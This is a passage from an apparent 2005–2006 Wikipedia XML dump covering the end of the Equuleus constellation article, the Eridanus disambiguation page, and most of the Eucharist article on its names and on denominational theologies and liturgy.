Equuleus contains some [[double star]]s of interest.  &amp;gamma; Equ consists of a primary star with a magnitude around 4.7m (slightly variable) and a secondary star of magnitude 11.6, separated by 2 [[arcsecond]]s.  [[Epsilon Equulei|&amp;epsilon; Equ]] consists of four components.  The brightest three are of magnitudes 6.0m, 6.3m, and 7.2m.  [[Delta Equulei|&amp;delta; Equ]] is a [[binary star]] with an orbital period of 5.7 years, which at one time was the shortest known orbital period for an optical binary.  The two components of the system are never more than 0.35 arcseconds apart.

==Notable deep sky objects==
Due to its small size and its distance from the plane of the [[Milky Way]], Equuleus contains no notable deep sky objects. Are notables the [[galaxy|galaxies]] [[NGC 7015]], [[NGC 7040]], [[NGC 7045]] and [[NGC 7046]].

{{sectstub}}

==Mythology==
Equuleus is associated with the foal [[Celaris]], who was the brother of the winged horse [[Pegasus]]. Celaris was given to [[Castor]] by [[Mercury (mythology)|Mercury]].{{sectstub}}

{{astro-stub}}

==Table of leading stars==
{| border=&quot;1&quot;
! Common name !! [[Bayer designation]] !! [[Flamsteed designation]] !! Other designations !! [[Right ascension]] !! [[Declination]] !! [[Apparent magnitude]]
|-
| || &amp;epsilon; || 1 || ADS 14499, &amp;Sigma;2737 || 20h 59m 04.4s || +04&amp;deg; 17&amp;prime; 37&amp;Prime; || 5.23
|-
| || || 3 || || 21h 04m 34.7s || +05&amp;deg; 30&amp;prime; 10&amp;Prime; || 5.61
|-
| || || 4 || || 21h 05m 26.7s || +05&amp;deg; 57&amp;prime; 30&amp;Prime; || 5.94
|-
| || &amp;gamma; || 5 || ADS 14702AB || 21h 10m 20.5s || +10&amp;deg; 07&amp;prime; 54&amp;Prime; || 4.69v
|-
| || || 6 || ADS 14702D || 21h 10m 31.2s || +10&amp;deg; 02&amp;prime; 56&amp;Prime; || 6.07
|-
| || &amp;delta; || 7 || ADS 14773 || 21h 14m 28.9s || +10&amp;deg; 00&amp;prime; 25&amp;Prime; || 4.49
|-
| Kitalpha || &amp;alpha; || 8 || || 21h 15m 49.4s || +05&amp;deg; 14&amp;prime; 52&amp;Prime; || 3.92
|-
| || || 9 || || 21h 21m 04.8s || +07&amp;deg; 21&amp;prime; 16&amp;Prime; || 5.82
|-
| || &amp;beta; || 10 || ADS 14920 || 21h 22m 53.6s || +06&amp;deg; 48&amp;prime; 40&amp;Prime; || 5.16
|}

==Stars==
:Stars with proper names:

:* ([[Alpha Equulei|8/&amp;alpha; Equ]]) 3.92 '''Kitalpha''' [''Kitel Phard, Kitalphar'']
:*: &lt;  &amp;#1602;&amp;#1591;&amp;#1593;&amp;#1577; &amp;#1575;&amp;#1604;&amp;#1601;&amp;#1585;&amp;#1587;  ''qi&amp;#355;&lt;sup&gt;c&lt;sup&gt;at[u] al-faras'' Part of the horse (mare)

:Stars with Bayer designations:
:: [[Beta Equulei|10/&amp;beta; Equ]] 5.16; [[Gamma Equulei|5/&amp;gamma; Equ]] 4.70; [[Delta Equulei|7/&amp;delta; Equ]] 4.47; [[Epsilon Equulei|1/&amp;epsilon; Equ]] 5.30; [[Lambda Equulei|2/&amp;lambda; Equ]] 6.72
:Stars with Flamsteed designations:
:: [[3 Equulei|3 Equ]] 5.63; [[4 Equulei|4 Equ]] 5.94; [[6 Equulei|6 Equ]] 6.07; [[9 Equulei|9 Equ]] 5.81

==References==
* Burnham, Robert (1978).  ''Burnham's Celestial Handbook: An observer's guide to the universe beyond the solar system'', volume 2.  Dover Publications, New York, New York.
* ''The Bright Star Catalogue'', 5th revised ed.
&lt;!-- The references above need to be formatted --&gt;

{{ConstellationsListedByPtolemy}}
{{ConstellationList}}

== External links ==
{{Commons|Equuleus}}
* [http://www.allthesky.com/constellations/delphinus/ The Deep Photographic Guide to the Constellations: Equuleus]
[[Category:Equuleus constellation| ]]

[[ca:Cavallet (constel·lació)]]
[[da:Føllet]]
[[de:Füllen (Sternbild)]]
[[es:Equuleus]]
[[fr:Petit Cheval]]
[[ko:조랑말자리]]
[[it:Equuleus]]
[[la:Equuleus (sidus)]]
[[lt:Žirgelis]]
[[hu:Csikó (csillagkép)]]
[[nl:Veulen (sterrenbeeld)]]
[[ja:こうま座]]
[[nn:Folen]]
[[pl:Źrebię (gwiazdozbiór)]]
[[pt:Equuleus]]
[[ru:Малый Конь (созвездие)]]
[[sk:Súhvezdie Koník]]
[[fi:Pieni hevonen]]
[[th:กลุ่มดาวม้าแกลบ]]</text>
    </revision>
  </page>
  <page>
    <title>Eridanus</title>
    <id>9766</id>
    <revision>
      <id>29197976</id>
      <timestamp>2005-11-25T09:05:55Z</timestamp>
      <contributor>
        <username>Maxim Razin</username>
        <id>223029</id>
      </contributor>
      <minor />
      <text xml:space="preserve">The name &quot;'''Eridanus'''&quot; can refer to:

*[[Eridanos (mythology)|Eridanos]] (or Eridanus), a [[river]] in [[Greek mythology]], associated by [[Herodotus]] with the [[Po]].
*[[Eridanus (geology)|Eridanus]], a large river that flowed in prehistoric times in what is now the [[Baltic Sea]]
*[[Eridanus (constellation)|Eridanus]], a southern [[constellation]].
*[[Eridanos (Athens)|Eridanos]], a former river near Athens

{{disambig}}

[[de:Eridanus]]
[[la:Eridanus]]
[[nl:Eridanos]]
[[ru:Эридан]]</text>
    </revision>
  </page>
  <page>
    <title>Eucharist</title>
    <id>9767</id>
    <revision>
      <id>41888494</id>
      <timestamp>2006-03-02T11:06:15Z</timestamp>
      <contributor>
        <username>Ranveig</username>
        <id>116143</id>
      </contributor>
      <comment>rv. vandalism</comment>
      <text xml:space="preserve">{{Communion}}
The '''Eucharist''' or '''Communion''' or '''The Lord's Supper''', is the [[rite]] that [[Christianity|Christians]] perform in fulfillment of [[Jesus]]' instruction, recorded in the [[New Testament]]{{ref|Last_Supper}}, to do in memory of him what he did at his [[Last Supper]]. 
Jesus gave his disciples bread, saying &quot;This is my body,&quot; and wine, saying &quot;This is my blood.&quot; Christians generally recognize a special presence of [[Christ]] in this rite, though they differ about exactly how, where, and when Christ is present. The word &quot;Eucharist&quot; is also applied to the bread and wine consecrated in the course of the rite. 

The word &quot;Eucharist&quot; comes from the [[Greek language|Greek]] noun {{Polytonic|εὐχαριστία}} (thanksgiving) [http://bible.crosswalk.com/Lexicons/Greek/grk.cgi?number=2168&amp;version=kjv]. This noun or the corresponding verb {{Polytonic|εὐχαριστῶ}} (to give thanks) is found in 55 verses of the New Testament. Four of these verses (Matthew 26:27, Mark 14:23, Luke 22:19, 1 Corinthians 11:24) recount that Jesus &quot;gave thanks&quot; before presenting to his followers the bread and the wine that he declared to be his body and his blood.

Most Christians classify the Eucharist as a [[sacrament]], but many Protestant traditions avoid the term ''sacrament'', preferring ''[[ordinance]]''. In these traditions, the ceremony is seen not as a specific channel of [[divine grace]] but as an expression of faith and obedience of the Christian community.

==Names for the Eucharist==
*'''Eucharist''' (from [[Greek language|Greek]] {{polytonic|Εὐχαριστία}} ''eucharistia'', &quot;thanksgiving&quot;) is the term with the earliest established historical use. [[Ignatius of Antioch|Ignatius, Bishop of Antioch]], who was [[martyr]]ed in [[Rome]] in about [[110]], used the term &quot;Eucharist&quot;, referring to both the rite and the consecrated elements, three times in his Letter to the Smyrnaeans [http://www.earlychristianwritings.com/srawley/smyrnaeans.html] and once in his Letter to the Philadelphians [http://www.earlychristianwritings.com/srawley/philadelphians.html]. [[Justin Martyr]], writing around [[150]], gave a detailed description of the rite, and stated that &quot;Eucharist&quot; was the name that Christians used: &quot;This food is called among us the Eucharist...&quot; (''Apology'', 66 [http://www.earlychristianwritings.com/text/justinmartyr-firstapology.html]).  Today the term &quot;Eucharist&quot; is used by [[Roman Catholic Church|Catholics]], the [[Eastern Orthodox Church|Eastern Orthodox]], the [[Oriental Orthodox]], [[Anglicanism|Anglicans]], and [[Lutheran]]s. Most other [[Protestant]] traditions use this term rarely, but few reject it entirely.

*'''Communion''' (from [[Latin language|Latin]] ''communio'', &quot;sharing in common&quot;) is a term used by Catholics, Orthodox Christians, Anglicans, and many Protestants; '''Holy Communion''' is also prevalent. Catholics and Orthodox typically apply it to the partaking of the consecrated bread and wine, and to these consecrated elements themselves, rather than to the Eucharistic rite as a whole. In their understanding, it is possible to participate in the celebration of the Eucharistic rite without &quot;receiving Holy Communion&quot; (partaking of the consecrated elements). On the other hand, groups that originated in the [[Protestant Reformation]] usually apply this term to the whole rite. Many, especially Anglicans, prefer the fuller term &quot;Holy Communion&quot; rather than just &quot;Communion&quot;. The term ''[[Communion (disambiguation)|Communion]]'' holds further ambiguity in that it also refers to the relationship of Christians, as individuals or as a Church, with God and with other Christians (see [[Communion (Christian)]]), and can also refer to the relationship between the Three Divine Persons within the [[Trinity]], a relationship known as [[perichoresis]] which is considered the archetype of the other forms of communion. 

*'''The Lord's Supper''' and '''the Breaking of Bread''' are terms that the New Testament (1 Corinthians 11:20; Acts 2:42, 46) applies to celebration of the Eucharist. The first of these terms tends to be preferred by &quot;minimalist&quot; traditions, especially those strongly influenced by [[Huldrych Zwingli|Huldrych (or Ulrich) Zwingli]] and the [[Restoration Movement]]. ''The Lord's Supper'' is also a common term among Lutherans, as is '''the sacrament of the altar'''. Other Churches and denominations also use these terms, but generally not as their basic, routine term.

*Certain terms are limited to the Orthodox Christian and Catholic traditions, and are typically applied to the rite as a whole. '''The Divine Liturgy''' is used by Orthodox and the [[Eastern Rite|Eastern Catholic Churches]], who also, especially for the consecrated elements, use '''the Divine Mysteries'''. Roman Catholics use many other terms, including '''the [[Mass (liturgy)|Mass]]''', '''the Memorial of the Passion, Death and Resurrection of the Lord''', the '''Holy Sacrifice of the Mass''', and the '''Holy Mysteries'''{{ref|Holy_Mysteries}}. The '''Blessed Sacrament''' and the '''Blessed Sacrament of the Altar''' are also common terms for the consecrated elements, especially when reserved in the [[Church tabernacle]]. &quot;Mass&quot; is also used by Anglo-Catholics and the [[Church of Sweden]].

== Eucharist in the Bible ==
The three [[synoptic Gospels]] (Matthew [http://www.hti.umich.edu/cgi/r/rsv/rsv-idx?type=citation&amp;book=Matthew&amp;chapno=26&amp;startverse=26&amp;endverse=29], Mark [http://www.hti.umich.edu/cgi/r/rsv/rsv-idx?type=citation&amp;book=Mark&amp;chapno=14&amp;startverse=22&amp;endverse=24], and Luke [http://www.hti.umich.edu/cgi/r/rsv/rsv-idx?type=citation&amp;book=Luke&amp;chapno=22&amp;startverse=19&amp;endverse=20]) as well as [[Paul of Tarsus|Saint Paul]]'s first [[Letter to the Corinthians]] [http://www.hti.umich.edu/cgi/r/rsv/rsv-idx?type=citation&amp;book=1+Corinthians&amp;chapno=11&amp;startverse=23&amp;endverse=26] contain versions of the [[Words of Institution]] spoken by [[Jesus]] at the [[Last Supper]]: &quot;Take, eat, this is my body ... Take, drink, this is my blood ... Do this in remembrance of me.&quot; All subsequent celebration of the Eucharist is based on this injunction. John 6 is also interpreted in connection with the Eucharist: &quot; For My flesh is food indeed, and My blood is drink indeed. He who eats My flesh and drinks My blood abides in Me, and I in him.&quot; (John 6:55-56)

''See also: [[Historical roots of Catholic Eucharistic theology]]''

== Christian Theology ==
The Eucharist has always been at the center of Christian worship, though theological interpretations vary. In general, the Roman Catholic, Anglican, and Orthodox traditions see the Eucharist as the fulfillment of God's plan for the [[salvation]] of humanity from [[sin]] (the &quot;Divine Economy&quot;), a commemoration and making present of Jesus' [[Crucifixion]] on [[Calvary]] and his [[Resurrection of Jesus|Resurrection]], the means for Christians to unite with God and with each other, and the giving of thanks for all these things. Differences in Eucharistic theology tend to be related to differences in understanding of these areas.

Efforts at mutual understanding of the range of theologies led in the 1980s to the consultations on ''[http://www.wcc-coe.org/wcc/what/faith/bem1.html Baptism, Eucharist and Ministry]'' (BEM) through the [[World Council of Churches]], which included the [[Roman Catholic Church]]. 

===Roman Catholic: Sacrifice; Transubstantiation===
{{main articles|[[Mass (liturgy)]], [[Transubstantiation]] and The [[Blessed Sacrament]]}}
In the teaching of the [[Roman Catholic Church]], the Eucharist is one of the seven [[sacrament]]s, but is also considered the &quot;queen of the sacraments&quot; and &quot;the blessed sacrament&quot;, and the institution of the Eucharist is one of the Luminous Mysteries of the [[Rosary]].  The Eucharist is a commemoration, or, in Greek, ''[[anamnesis]]'' [http://bible.crosswalk.com/Lexicons/Greek/grk.cgi?number=364&amp;version=kjv] of the [[Passion]], [[Chronology of Jesus#Death|Death]], and [[Resurrection of Jesus|Resurrection]] of Christ, understood in the fullest sense given to it in Biblical tradition. In other words, it is a memorial which does not just bring to mind the event celebrated, but also makes it truly present. The Eucharist is therefore understood to be not simply a representation of Christ's presence, or a remembrance of his Passion and Death, but an actual participation in the Sacrifice of Christ, the manifestation, in the present, of an event that occurred once for all in time. The Eucharist makes present that one sacrifice, not a different sacrifice. The priest and victim of the sacrifice are one and the same; the only difference is in the manner in which it is offered&amp;mdash;the Church teaches that the Mass is the sacrifice at Calvary made present in an unbloody manner.

The only minister of the Eucharist, that is, one authorized to celebrate the rite and consecrate the Eucharist, is a validly ordained [[priest]] (either [[bishop]] or [[presbyter]]) acting in the person of Christ (''in persona Christi''). In other words the priest celebrant represents Christ, who is the Head of the Church, and acts before God in the name of the Church. The matter used must be wheaten bread and grape wine; this is essential for validity.

According to the Roman Catholic Church, when the bread and wine are consecrated in the Eucharist, they cease to be bread and wine, and become instead the body and blood of Christ. The empirical appearances are not changed, but the reality is. The  consecration of the bread (known as the [[Host (Holy Communion)|host]]) and wine represents the separation of Jesus's body from his blood at Calvary. However, since he has risen, the Church teaches that his body and blood can no longer be truly separated. Where one is, the other must be. Therefore, although the priest (or minister) says, &quot;The body of Christ&quot;, when administering the host, and, &quot;The blood of Christ&quot;, when presenting the chalice, the communicant who receives either one receives Christ, whole and entire.  

The mysterious change of the reality of the bread and wine used in the Eucharist, a change to which patristic writers had given other equivalent names, began to be called &quot;[[transubstantiation]]&quot; in the [[twelfth century]]. In the judgement of the Catholic Church, this term, with its accompanying unambiguous distinction between &quot;[[substance]]&quot; or underlying reality, and &quot;[[Accident (philosophy)| accidents]]&quot; or humanly perceptible appearances, still best safeguards against the opposite extremes of a cannibalistic interpretation (the accidents remain real, not an illusion) or of a merely symbolic interpretation (the substance is changed from that of bread and wine to that of the body and blood of Christ) of the Eucharist.

The definition of the Catholic doctrine of transubstantiation, which concerns ''what'' is changed, not ''how'' the change occurs, is given in the following words of the Council of Trent, quoted in [http://www.usccb.org/catechism/text/pt2sect2chpt1art3.htm#1376 paragraph 1376] of the [[Catechism of the Catholic Church]]: &quot;Because Christ our Redeemer said that it was truly his body that he was offering under the species of bread, it has always been the conviction of the Church of God, and this holy Council now declares again, that by the consecration of the bread and wine there takes place a change of the whole substance of the bread into the substance of the body of Christ our Lord and of the whole substance of the wine into the substance of his blood. This change the holy Catholic Church has fittingly and properly called transubstantiation.&quot;

The Eucharist is given to Catholics who wish to receive either at Mass or outside of Mass. This is called the administration of [[Holy Communion]]. When it is given at Mass, it may be given under one kind (usually the host), or under both kinds (both the host and the consecrated wine, referred to by Catholics as the Precious Blood). Regular use of Communion under both kinds requires the permission of the bishop, but bishops in some countries have given blanket permission to administer Holy Communion in this way. The ordinary ministers of Holy Communion are Bishops, Priests and [[Deacons]], the latter traditionally ministering the [[chalice]]. Members of the [[laity]] can also be commissioned as Extraordinary Ministers of Holy Communion, where there is a necessity. This is, in a way, a return to a very early practice, whereby the ordinary faithful took Communion to the sick and to others unable to come to the Eucharistic celebration.

The hosts are kept in a [[Church tabernacle|tabernacle]] after the celebration of the Mass, so that they can be brought to the sick and dying outside the time of Mass, and also so that the Eucharistic presence may be worshipped and adored. On occasions, the Eucharist is exposed in a [[monstrance]], in order for it to be the focus of prayer and [[Eucharistic adoration|adoration]].

===Eastern Christianity:  True Sacrifice and Objective Presence but Pious Silence on the Particulars=== &lt;!-- Changed to clarify what is being modified by the adjectives; I worry that this makes it sound like Christ is being re-sacrificed, however? ~Edonovan --&gt;
{{Main|Divine Liturgy}}
The [[Eastern Orthodox]] and the [[Oriental Orthodox]] Churches and the [[Assyrian Church of the East]] agree with the Roman Catholic Church that Christ is really, fully, uniquely, and permanently present in the Eucharistic elements, and that, in the [[Divine Liturgy]], the one sacrifice of Christ is made present; and that the exact means by which the bread and wine become the body and blood of Christ, through the work of the Holy Spirit, is a mystery. &lt;!-- they can indeed be said to agree with the Roman Catholics on all of this, for Catholics describe WHAT is changed, but say of HOW the change is wrought only that &quot;It's a mystery&quot; --&gt; They are not particularly interested in the precise moment the change occurs, although this &quot;change&quot; or &quot;fulfillment&quot; of the bread and wine is usually identified with the [[Epiklesis]].  As in the Roman Catholic Church, the change is regarded as permanent, and any of the consecrated elements, or &quot;gifts,&quot; that remain at the end of the [[Divine Liturgy]] are normally consumed by a priest or deacon.

Gifts reserved for the communion of the sick are specially consecrated on [[Holy Thursday]], or at other times as needed, and are not simply leftovers from the previous Divine Liturgy.  Since the Eucharistic gifts are regarded primarily as food, Eucharistic adoration is unknown outside the Liturgy itself, except among those Orthodox Christians who worship according to a [[Western Orthodoxy|Western Rite]].

===Anglicans/Episcopalians: Real Presence with Opinion===
The historical position of the [[Anglican Communion]] is found in the ''[[Thirty-Nine Articles]]'' of 1571, which state &quot;the Bread which we break is a partaking of the Body of Christ&quot;; and likewise that &quot;the Cup of Blessing is a partaking of the Blood of Christ&quot; (Articles of Religion, Article XXVIII: Of the Lord's Supper). The fact that the terms &quot;Bread&quot; and &quot;Wine&quot; and the corresponding words &quot;Body&quot; and &quot;Blood&quot; are all capitalized may reflect the wide range of theological beliefs regarding the Eucharist among Anglicans.  However, the Articles also state that adoration, or worship ''per se'', of the consecrated elements was not commanded by Christ and that those who receive unworthily do not actually receive Christ but rather their own condemnation. &lt;!-- could they receive Christ unto condemnation? ~Edonovan --&gt;

Anglicans generally and officially believe in the [[Real Presence]] of Christ in the Eucharist, but the specifics of that belief range from transubstantiation, sometimes with Eucharistic adoration (mainly [[Anglo-Catholics]]), to something akin to a belief in a &quot;pneumatic&quot; presence, which may or may not be tied to the Eucharistic elements themselves (almost always &quot;Low Church&quot; or [[Evangelicalism|Evangelical]] Anglicans).  The normal range of Anglican belief ranges from Objective Reality to Pious Silence, depending on the individual Anglican's theology. A small minority, as in any church, reject the doctrine of the Real Presence altogether. The classic Anglican aphorism with regard to this debate is found in a poem by [[John Donne]]: &quot;He was the Word that spake it; He took the bread and brake it; And what that Word did make it; I do believe and take it.&quot; &lt;!-- Does this poem have a name? --&gt;

Anglican belief in the Eucharistic Sacrifice (&quot;Sacrifice of the Mass&quot;) is set forth in the response [http://www.ucl.ac.uk/~ucgbmxd/saepius.htm ''Saepius officio''] of the Archbishops of Canterbury and York to [[Pope Leo XIII]]'s Papal Encyclical [http://www.papalencyclicals.net/Leo13/l13curae.htm ''Apostolicae curae''].

Anglicans and Roman Catholics declared that they had &quot;substantial agreement on the doctrine of the Eucharist&quot; in the [http://www.prounione.urbe.it/dia-int/arcic/doc/e_arcic_eucharist.html Windsor Statement on Eucharistic Doctrine from the Anglican-Roman Catholic International Consultation] and the [http://www.prounione.urbe.it/dia-int/arcic/doc/e_arcic_elucid_euch.html Elucidation of the ARCIC Windsor Statement].

===Lutherans - the Sacramental Union: &quot;in, with, and under the forms&quot;===
Lutherans believe that the Body and Blood of Christ are &quot;truly and substantially present in, with and under the forms&quot; of the consecrated bread and wine (the elements), so that communicants eat and drink both the elements and the true Body and Blood of Christ Himself (cf. [[Augsburg Confession]], Article 10) in the Sacrament of Holy Communion. The Lutheran doctrine of the Real Presence is more accurately and formally known as &quot;the [[Sacramental Union]].&quot; This theology was first developed in the [[Wittenberg Concord]]. It has been called &quot;[[consubstantiation]]&quot; by some, but this term is rejected by Lutheran churches and theologians as it creates confusion with an earlier doctrine of the same name.

For Lutherans, there is no sacrament unless the elements are used according to Christ's institution (consecration, distribution, and reception). This was first formulated in the Wittenberg Concord of 1536 in the formula: ''Nihil habet rationem sacramenti extra usum a Christo institutum'' (&quot;Nothing has the character of a sacrament apart from the use instituted by Christ&quot;). As a consequence of their belief in this principle, some Lutherans have opposed in the Christian Church the reservation of the consecrated elements, private masses, the practice of Corpus Christi, and the belief that the presence of Christ's body and blood continue in the reliquæ (what remains of the consecrated elements after all have communed in the worship service). This interpretation is not universal among Lutherans. The consecrated elements are treated with respect, and in some areas are reserved as in Orthodox, Roman Catholic, and Anglican practice, but Eucharistic adoration is not typically practiced. To remove any scruple of doubt or superstition the reliquæ traditionally are either consumed or poured into the earth, except that a small amount may be kept for delivery to those too ill or infirm to attend the service. In this case, the consecrated elements are to be delivered quickly, preserving the connection between the communion experienced by the ill person, and the communion of the rest of the congregation.

Lutherans use the terms &quot;in, with and under the forms of [consecrated] bread and wine&quot; and &quot;Sacramental Union&quot; to distinguish their understanding of the Lord's Supper from those of the Reformed and other traditions. More liberal Lutheran churches tend to practice open communion, inviting all who are baptized to participate. Conservative Lutheran churches such as the [[Confessional Lutheran]]s are more likely to practice closed communion (or &quot;close communion&quot;), restricting participation to those, who are more or less in doctrinal agreement with them. This might involve the formal declaration of &quot;altar and pulpit fellowship,&quot; another term for eucharistic sharing coupled with the acceptance of the ministrations of one another's clergy.

===Methodism: presence as &quot;mystery&quot;===
The followers of [[John Wesley]] have typically affirmed that the grace of Christ is experienced via his real presence in the sacrament, but have allowed the details to remain a mystery, rejecting the doctrine of [[transubstantiation]] (''see &quot;Article XVIII&quot; of the [[Articles of Religion (Methodist)|Articles of Religion]], [[Means of Grace]]'').  In 2004, the [[United Methodist]] Church more clearly defined its view of the sacrament and its belief in the [[Real Presence]] in an official document entitled ''[http://www.gbod.org/worship/thisholymystery/default.html This Holy Mystery]''.

===Calvinist Reformed: spiritual feeding, &quot;pneumatic&quot; presence===
Many [[Reformed]] Christians, particularly those who follow [[John Calvin]], hold that Christ's body and blood do not come down to inhabit the elements, but that &quot;the Spirit truly unites things separated in space&quot; (Calvin).

Following a phrase of [[Augustine of Hippo|Augustine]], the Calvinist view is that &quot;no one bears away from this Sacrament more than is gathered with the vessel of faith&quot;.  &quot;The flesh and blood of Christ are no less truly given to the unworthy than to God's elect believers&quot;, Calvin said, &quot;but those who partake by faith receive benefit from Christ, and the unbelieving are condemned by partaking. By faith (not a mere mental apprehension), and in the Holy Spirit, the partaker beholds God incarnate, and in the same sense touches him with hands, so that by eating and drinking of bread and wine Christ's actual presence penetrates to the heart of the believer more nearly than food swallowed with the mouth can enter in.&quot; 

Calvin specifically rejected adoration of the Eucharistic bread and wine as &quot;idolatry&quot;, however. The elements may be disposed of without ceremony; they are unchanged, and as such the meal directs attention toward Christ's bodily resurrection and return.

===Zwinglian Reformed: no Real Presence===
{{Main|Memorialism}}
Some Protestant groups see Communion (also called the [[Lord's Supper]] or the Lord's Table) as a symbolic meal, a [[Memorialism|memorial]] of the [[Last Supper]] and the [[Passion]] in which nothing miraculous occurs. This view is known as the Zwinglian view, after [[Huldrych Zwingli]], a Swiss leader during the [[Protestant Reformation|Reformation]]. It is commonly associated with [[Baptist]]s and the [[Disciples of Christ]]. 

Some of the Reformed hold that Calvin actually held this view, and not the ''Spiritual feeding'' idea more commonly attributed to him; or that the two views are really the same.

=== Summary of views ===
Because Jesus Christ is a person, theologies regarding the Eucharist involve consideration of the way in which the communicant's personal relationship with God is fed through this mystical meal.  However, debates over Eucharistic theology in the West have centered not on the personal aspects of Christ's presence but on the metaphysical. The opposing views are summarized below.
{{details|Real Presence}}
*'''''Transubstantiation''''' – the [[Substance theory|substance]] (fundamental reality) of the bread and wine is transformed in a way beyond human comprehension into that of the Body, Blood, Soul, and Divinity of Christ, but the [[accident (philosophy)|accidents]] (physical traits, including chemical properties) of the bread and wine remain; this view is held by the [[Roman Catholic Church]] and many [[Anglicans]], especially in [[Anglo-Catholic]] circles. 
*'''''&quot;In, with and under the forms&quot;''''' - the body and blood of Jesus Christ are substantially present in, with and under the substance of the bread and wine, which remain. This is the view held by most [[Lutheranism|Lutherans]], and some [[Anglican]]s. Some refer to this view as ''consubstantiation'', but many Lutherans reject this term.&lt;!-- The distinction between this and consubstantiation is not clear to me, but some people feel that there is one. --&gt;
*'''''Objective reality, but pious silence about technicalities''''' - the view of all the ancient Churches of the East, including the  [[Eastern Orthodox Church|Eastern Orthodox]], the [[Oriental Orthodox Church|Oriental Orthodox]], and the [[Assyrian Church of the East]] as well as perhaps most Anglicans. These, while agreeing with the Roman Catholic belief that the sacrament is not merely bread and wine but truly the body and blood of Christ, do not usually employ the &quot;substance&quot; and &quot;accidents&quot; terminology, preferring not to scrutinize the technicalities of the transformation.
*'''''Real Spiritual presence''''' also called &quot;pneumatic presence&quot; - not only the spirit, but also the true body and blood of Jesus Christ (hence &quot;real&quot;) are received by the sovereign, mysterious, and miraculous power of the Holy Spirit (hence &quot;spiritual&quot;), but only by those partakers who have faith. This view approaches the &quot;pious silence&quot; view in its unwillingness to specify how the Holy Spirit makes Christ present, but positively excludes not just symbolism but also trans- and con-substantiation.  It is also known as the &quot;mystical presence&quot; view, and is held by most [[Reformed]] Christians, such as [[Presbyterians]], as well as some Methodists and some [[Anglicans]], particularly [[Low Church]] Reformed Anglicans. See [http://www.opc.org/documents/WCF.html Westminster Confession of Faith, ch. 19.]  This understanding is often called &quot;'''receptionism'''.&quot; Some argue that this view can be seen as being suggested&amp;mdash;though not by any means clearly&amp;mdash;by the &quot;[[epiklesis|invocation]]&quot; of the Anglican Rite as found in the American [[Book of Common Prayer]], 1928 and earlier and in Rite I of the American BCP of 1979 as well as in other Anglican formularies:
::''And we most humbly beseech thee, O merciful Father, to hear us, and of thy almighty goodness, vouchsafe to bless and sanctify, with thy Word and Holy Spirit, these thy gifts and creatures of bread and wine; that we, receiving them according to thy Son our Savior Jesus Christ's holy institution, in remembrance of his death and passion, may be partakers of his most blessed body and blood.''  
*'''''Symbolism''''' - the bread and wine are symbolic of the body and blood of Jesus Christ, and in partaking of the elements the believer commemorates the sacrificial death of Christ. This view is also known as &quot;memorialism&quot; and ''Zwinglianism'' after [[Huldrych Zwingli|Ulrich Zwingli]] and is held by several [[Protestant]] denominations, including most [[Baptist]]s.
*'''''Suspension''''' - the partaking of the bread and wine was not intended to be a perpetual ordinance, or was not to be taken as a religious rite or ceremony (also known as ''adeipnonism'', meaning &quot;no supper&quot; or &quot;no meal&quot;). This is the view of [[Religious Society of Friends|Quakers]] and the [[Salvation Army]], as well as the [[hyperdispensationalism|hyperdispensationalist]] positions of [[E. W. Bullinger]], Cornelius R. Stam, and others.

==Ritual and liturgy==
===The Agape feast===
The [[Agape feast]] was the Eucharistic celebration of the early Christians. While centered on the ritual of the bread and wine, it also included various other ritual elements, including elements of the [[Passover seder]] and of Mediterranean funerary banquets, also termed ''Agape Feasts''. ''[[Agape]]'' is one of the [[Greek language|Greek]] words for ''love'', particularly applied to selfless love. Such meals were widespread, though not universal, in the early Christian world.

This service was apparently a full meal, with each participant bringing a contribution to the meal according to their means. Perhaps predictably enough, it could at times deteriorate into merely an occasion for eating and drinking, or for ostentatious displays by the wealthier members of the community. This was criticized by St. Paul in the New Testament (cf. {{bibleverse|1|Cor|11:20-22|63}}). Because of such abuses, and the increased ritualization of the feast the ''Agape'' gradually fell into disfavor, and after being subjected to various regulations and restrictions, it was definitively dropped by the Church between the 6th and 8th centuries. Many Christians, however, after celebrating the Eucharist, now routinely participate in a sharing of light refreshments and conversation in an informal ritual that is functionally an Agape.  This post-Eucharistic gathering is often called &quot;fellowship hour&quot; or &quot;coffee hour&quot; and is regarded by many clergy as a particularly opportune time for engaging adults in Christian education.

Today some contemporary Christians participate in ''Agape'' meals on rare occasions, to experience this historical form of the Eucharist. Others, particularly among the [[House Church]] movement, practice the love feast weekly as the observation of the Lord's Supper--a full meal provided by and shared among the members. The bread and wine are taken as part of the meal, either at the end or the meal may be opened with the bread and ended with the wine. &lt;!-- Don't the Covenanters (Scotch Reformed) historically celebrate the Lord's Supper/Eucharist as part of a meal as well?) --&gt;

=== Eastern Christianity ===
{{main|Divine Liturgy}}
Among Eastern Christians, the Eucharistic service is called the ''Divine Liturgy''.  It comprises two main divisions: the first is the ''Liturgy of the Catechumens'' which consists of introductory litanies, antiphons and scripture readings, culminating in a reading from one of the [[Gospels]] and often, a [[sermon]]; the second is the ''Liturgy of the Faithful'' in which the Eucharist is offered, consecrated, and received as [[Holy Communion]].  Within the latter, the actual Eucharistic prayer is called the ''anaphora'' ([[Greek language|Greek:]], &quot;offering&quot; or &quot;lifting up&quot;).  In the Byzantine Rite, two different anaphoras are currently used: one is attributed to [[John Chrysostom|St. John Chrysostom]], and the other to [[Basil of Caesarea|St. Basil the Great]].  Among the [[Oriental Orthodox]], a variety of anaphoras are used, but all are similar in structure to those of the Byzantine Rite.  In the Byzantine Rite, the Anaphora of St. John Chrysostom is used most days of the year; St. Basil's is offered on the Sundays of [[Great Lent]], the eves of [[Christmas]] and [[Theophany]], [[Holy Thursday]], [[Holy Saturday]], and upon his feast day (January 1). At the conclusion of the Anaphora the bread and wine are held to be the Body and Blood of Christ.  

Conventionally this change in the elements is understood to occur at the ''Epiklesis'' ([[Greek language|Greek:]] &quot;invocation&quot;) by which the [[Holy Spirit]] is invoked and the consecration of the bread and wine as the Body and Blood of Christ is specifically requested, but since the anaphora as a whole is considered a unitary (albeit lengthy) prayer, no one moment within it can be readily singled out.

=== Roman Catholicism ===
See [[Mass (liturgy)|Mass]] and [[Divine Liturgy]].

=== Protestantism ===
{{section-stub}}
====Anglican====
In the [[Episcopal Church in the United States of America]] (ECUSA), the Eucharist is designated as the principal service of the church.  The service for Holy Eucharist is found in the [[Book of Common Prayer]] for each national church in the [[Anglican Communion]]. 

See [[Book of Common Prayer]].
{{section-stub}}

====Lutheran====
